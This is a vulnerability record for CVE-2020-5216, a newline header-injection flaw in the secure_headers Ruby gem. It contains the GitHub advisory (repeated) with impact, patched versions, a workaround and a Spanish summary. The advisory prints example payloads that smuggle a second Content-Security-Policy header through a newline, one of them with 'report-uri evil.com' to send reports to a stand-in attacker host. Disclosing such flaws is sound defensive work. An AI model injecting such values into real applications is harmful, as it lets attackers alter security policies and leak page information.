CVE-2020-5216

In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.

In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.

### Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` ### Patches This has been fixed in 6.3.0, 5.2.0, and 3.9.0 ### Workarounds ```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ``` ### References https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies) ### For more information If you have any questions or comments about this advisory: * Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new) * DM us at @ndm on twitter

### Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` ### Patches This has been fixed in 6.3.0, 5.2.0, and 3.9.0 ### Workarounds ```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ``` ### References https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies) ### For more information If you have any questions or comments about this advisory: * Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new) * DM us at @ndm on twitter

En Secure Headers (secure_headers de RubyGem), una vulnerabilidad de inyección de directiva está presente en las versiones anteriores a 3.9.0, 5.2.0 y 6.3.0. Si la entrada suministrada por el usuario fue pasada a append/override_content_security_policy_directives, una línea nueva podría ser inyectada conllevando a una inyección de encabezado limitada. Al visualizar una nueva línea en el encabezado, rails creará silenciosamente un nuevo encabezado Content-Security-Policy con el valor restante de la cadena original. Continuará creando nuevos encabezados para cada nueva línea. Esto ha sido corregido en las versiones 6.3.0, 5.2.0 y 3.9.0.